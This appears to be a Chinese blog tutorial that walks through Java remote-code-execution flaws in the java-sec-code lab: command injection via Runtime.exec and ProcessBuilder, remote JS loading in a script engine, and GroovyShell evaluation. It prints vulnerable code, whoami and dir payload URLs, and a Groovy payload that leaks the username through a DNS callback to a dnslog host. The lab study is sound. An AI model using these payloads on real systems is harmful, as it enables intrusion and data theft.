[!NOTE]

本次学习使用开源项目:

https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java

使用工具:

浏览器

IDEA

什么是 RCE 漏洞?

RCE(远程代码执行)指的是:

攻击者利用服务器应用程序中的某些漏洞,将恶意代码传输到服务器,并在服务器上以服务器权限执行这些代码

简而言之,就是攻击者“远程控制服务器执行命令”,可以做几乎任何操作

  • 读写文件
  • 远程控制
  • 添加后门
  • 窃取数据库数据
  • 横向渗透、内网打点

典型攻击场景

以下是几种常见导致 RCE 漏洞的场景:


命令注入

Java 中使用 Runtime.exec()ProcessBuilder 时拼接了用户输入:

String cmd = "ping " + userInput;
Runtime.getRuntime().exec(cmd);

如果用户输入的是:

127.0.0.1 && whoami

最终执行命令为:

ping 127.0.0.1 && whoami

服务器会在 ping 后执行 whoami,泄露系统身份。

以下为集中典型RCE漏洞代码场景

1、Runtime

@RequestMapping("/rce")
public class Rce {
@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder(); try {
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr; while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
} if (p.waitFor() != 0) {
if (p.exitValue() == 1)
return "Command exec failed!!";
} inBr.close();
in.close();
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}
}

通过查看代码发现,进入函数执行的URi为 /rce/runtime/exec

@RequestMapping("/rce")
public class Rce {
@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {

传入参数为cmd,因此构造payloadhttp://127.0.0.1:8081/rce/runtime/exec?cmd=cmd /c dir

这段代码完全没有对用户传入的 cmd 参数做任何校验或过滤,使得攻击者可以通过浏览器或 HTTP 客户端构造如下 URL,实现远程命令执行

public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder(); try {
Process p = run.exec(cmd);
}

为什么Runtime.getRuntime无法直接执行dir,而是cmd /c dir?

理解这个很重要

Runtime.getRuntime.exec的部分调用链

Runtime.getRuntime.exec()
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)
java.lang.ProcessBuilder#start
java.lang.SecurityManager#checkExec
java.lang.ProcessImpl#ProcessImpl

其中如下java.lang.ProcessBuilder#start部分代码如下

 public Process start() throws IOException {
// Must convert to array first -- a malicious user-supplied
// list might try to circumvent the security check.
String[] cmdarray = command.toArray(new String[command.size()]);
cmdarray = cmdarray.clone(); for (String arg : cmdarray)
if (arg == null)
throw new NullPointerException();
// Throws IndexOutOfBoundsException if command is empty
String prog = cmdarray[0]; //这里会找到["cmd","/c","dir"]第一个元素,也就是cmd,然后丢给security.checkExec(prog);
SecurityManager security = System.getSecurityManager();
if (security != null)
security.checkExec(prog);

其中的java.lang.SecurityManager#checkExec如下

    public void checkExec(String cmd) {
File f = new File(cmd);
if (f.isAbsolute()) {
checkPermission(new FilePermission(cmd,
SecurityConstants.FILE_EXECUTE_ACTION));
} else {
checkPermission(new FilePermission("<<ALL FILES>>",
SecurityConstants.FILE_EXECUTE_ACTION));
}
}

其中的java.lang.ProcessImpl#ProcessImpl部分代码如下

        if (allowAmbiguousCommands && security == null) {
// Legacy mode. // Normalize path if possible.
String executablePath = new File(cmd[0]).getPath(); // No worry about internal, unpaired ["], and redirection/piping.
if (needsEscaping(VERIFICATION_LEGACY, executablePath) )
executablePath = quoteString(executablePath); cmdstr = createCommandLine(
//legacy mode doesn't worry about extended verification
VERIFICATION_LEGACY,
executablePath,
cmd);
} else {
String executablePath;
try {
executablePath = getExecutablePath(cmd[0]);
}

经过分析可以知道,Runtime.getRuntime().exec(cmd)的命令执行路径大致为

Runtime --> ProcessBuilder --> ProcessImpl

其中,命令cmd /c dir会被转为List数组,其中数组的第一个元素cmd为可执行文件的名称,最终将可执行文件名称交给ProcessBuilder进行下一步调用

那么可以得出结论:第一个元素的名字必须能在系统变量Path中找到,这就是为什么不能直接使用dir等命令的原因了

如系统变量Path中有Bandizip的目录,那么传入http://localhost:8081/rce/runtime/exec?cmd=Bandizip,成功执行Bandizip

2、ProcessBuilder

ProcessBuilder顾名思义为进程构建器,函数接收包含一个或多个String类型元素的List,或者String类型的可变参数

数组的第一个元素为要执行的应用程序的名称,后续元素为执行时的参数

在Windows中,默认第一个参数为cmd,Linux中则需要手动指定

@RequestMapping("/rce")
public class Rce {
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) { StringBuilder sb = new StringBuilder(); try {
// String[] arrCmd = {"/bin/sh", "-c", cmd}; //linux
String[] arrCmd = {cmd}; //windows,windos下无需指定
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
} catch (Exception e) {
return e.toString();
} return sb.toString();
}
}

通过查看代码发现,命令执行部分如下,且发现从cmd参数传入,一直到processBuilder.start()都没有对执行的命令进行任何过滤

因此,可以通过控制传入cmd参数执行攻击者想要的任何命令

        try {
// String[] arrCmd = {"/bin/sh", "-c", cmd}; //linux
String[] arrCmd = {cmd}; //windows,windos下无需指定
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();

查看注释上的路由,构造URi为http://localhost:8081/rce/ProcessBuilder?cmd=whoami

成功执行命令

3、ScriptEngineManager

存在漏洞的代码

    @GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);
}

加载一个JS引擎

        ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎

使用JS引擎执行命令,这里使用load()从远程加载JS文件

所以我们可以把恶意payload写在远程js文件中,经由JS引擎加载之后执行恶意命令,进而实现RCE

远程恶意JS模板

function mainOutput() {
var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");
}
var a = mainOutput();

注意!!!:根据不同的Script引擎,可能会有不同的执行效果

这里起一个python simple httpserver,然后放入恶意js文件,然后构造一个恶意Payloadhttp://localhost:8081/rce/jscmd?jsurl=http://127.0.0.1:9090/1.js,成功执行恶意payload

4、Groovy

Groovy 是一种基于 Java 平台动态脚本语言,语法简洁、灵活,兼容 Java,并能与 Java 无缝集成。可以把 Groovy 看成是 “更轻量、更灵活的 Java”。

如果不安全的Groovy接口由用户可控,那么就很容易造成RCE漏洞

示例代码

    @GetMapping("groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}

上述代码开启了一个GroovyShell,并且执行的参数用户可控

因此可以构造Payload执行Groovy命令,构造

def cmd="cmd /c ping %USERNAME%.your.dnslog.cn"
cmd.execute()

经过URL编码后为

def%20cmd%3D%22cmd%20/c%20ping%20%25USERNAME%25.your.dnslog.cn%22%0Acmd.execute%28%29

最终成功触发DNS回显验证

Java安全_RCE漏洞的更多相关文章

  1. java中xxe漏洞修复方法

    java中禁止外部实体引用的设置方法不止一种,这样就导致有些开发者修复的时候采用的错误的方法 之所以写这篇文章是有原因的!最早是有朋友在群里发了如下一个pdf, 而当时已经是2019年1月末了,应该不 ...

  2. Java Web项目漏洞:检测到目标URL存在http host头攻击漏洞解决办法

    检测到目标URL存在http host头攻击漏洞 详细描述 为了方便的获得网站域名,开发人员一般依赖于HTTP Host header.例如,在php里用_SERVER["HTTP_HOST ...

  3. 微信支付的JAVA SDK存在漏洞,可导致商家服务器被入侵(绕过支付)XML外部实体注入防护

    XML外部实体注入 例: InputStream is = Test01.class.getClassLoader().getResourceAsStream("evil.xml" ...

  4. 【Java】系统漏洞:关于用户登录后操作的注意事项

    项目背景: SpringMVC + Mybatis  + MySql数据库(javaWeb项目开发) 相关模块:登录,个人详细信息修改,订单详情查询 相关漏洞介绍: 1.登录的验证码:登录的验证码一定 ...

  5. JAVA SQL注入漏洞挖掘

    java中sql注入主要发生在model层,黑盒测试sql注入的方法结合两点:1,异常注入后,界面有无明显的aql异常报出.2,查看数据库日志是否有脏数据注入. preparestatement方法是 ...

  6. java struts2框架漏洞合集

    目录 struts2 s2-016 payload 数据包 返回结果 struts2 s2-016 参考:https://github.com/vulhub/vulhub/blob/master/st ...

  7. java反序列号漏洞分析资料汇总,待研究

    https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/ http://blog.nsfocus.net/?s=fastjson http:// ...

  8. Java处理XSS漏洞的工具类代码

    原文:http://www.open-open.com/code/view/1455809388308 public class AntiXSS { /** * 滤除content中的危险 HTML ...

  9. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  10. Java浮点值拒绝服务漏洞危害分析

    By 空虚浪子心 http://www.inbreak.net/ JAVA出了漏洞,CVE-2010-4476,会导致拒绝服务攻击.大家能从公告上,看到这样一段代码,挺长的.意思是只有开发人员写出这样 ...

随机推荐

  1. 神经网络与模式识别课程报告-卷积神经网络(CNN)算法的应用

    ======================================================================================= 完整的神经网络与模式识别 ...

  2. linux 各种防火墙

    一.iptables防火墙1.基本操作 # 查看防火墙状态 service iptables status # 停止防火墙 service iptables stop # 启动防火墙 service ...

  3. Linux上安装配置InstantClient及64位系统Pl/SQL配置

    1.首先到官网下载文件:http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html?ssS ...

  4. 大模型提示词(Prompt)模板推荐

    只有提示词写得好,与大模型的互动才能更高效.提示词不仅仅是与AI对话的起点,更是驱动模型产生高质量输出的关键因素.本文将介绍大模型提示词的概念.意义,并分享一些实用的提示词模板,帮助AI玩家更好地利用 ...

  5. HashMap 在高并发场景下可能出现的性能问题以及如何规避这些问题

    JDK1.8 之前 HashMap 底层是 数组和链表, 之后在之前基础上加上红黑树. 相比于之前的版本, JDK1.8 之后在解决哈希冲突时有了较大的变化,当链表长度大于阈值(默认为 8)(将链表转 ...

  6. EntityFramework 6 分页模式

    在我的另一篇博客中提到了EntityFrameworkCore 分页问题, 中提到了EntityFrameworkCore在针对不同版本SQL Server数据库时如何指定分页模式,那么如何在Enti ...

  7. leetcode每日一题:最少翻转操作数

    题目 2612. 最少翻转操作数 给你一个整数 n 和一个在范围 [0, n - 1] 以内的整数 p ,它们表示一个长度为 n 且下标从 0 开始的数组 arr ,数组中除了下标为 p 处是 1 以 ...

  8. 画个Shape留意到的东西

    这几个知识点 在 CoreGraphics 框架中有这样一个方法: public func addArc(center: CGPoint, radius: CGFloat, startAngle: C ...

  9. .NET 原生驾驭 AI 新基建实战系列(三):Chroma ── 轻松构建智能应用的向量数据库

    在人工智能AI和机器学习ML迅猛发展的今天,数据的存储和检索需求发生了巨大变化.传统的数据库擅长处理结构化数据,但在面对高维向量数据时往往力不从心.向量数据库作为一种新兴技术,专为AI应用设计,能够高 ...

  10. (倍增)LCA学习笔记+做题记录

    LCA学习笔记 LCA指最长公共子序列,可以使用倍增的方法求解(复杂度较优) 步骤 (1) 预处理 a. 求深度: 对于每个结点 \(dfs\) 预处理出结点深度; b. 求倍增祖先: 计算出每个结点 ...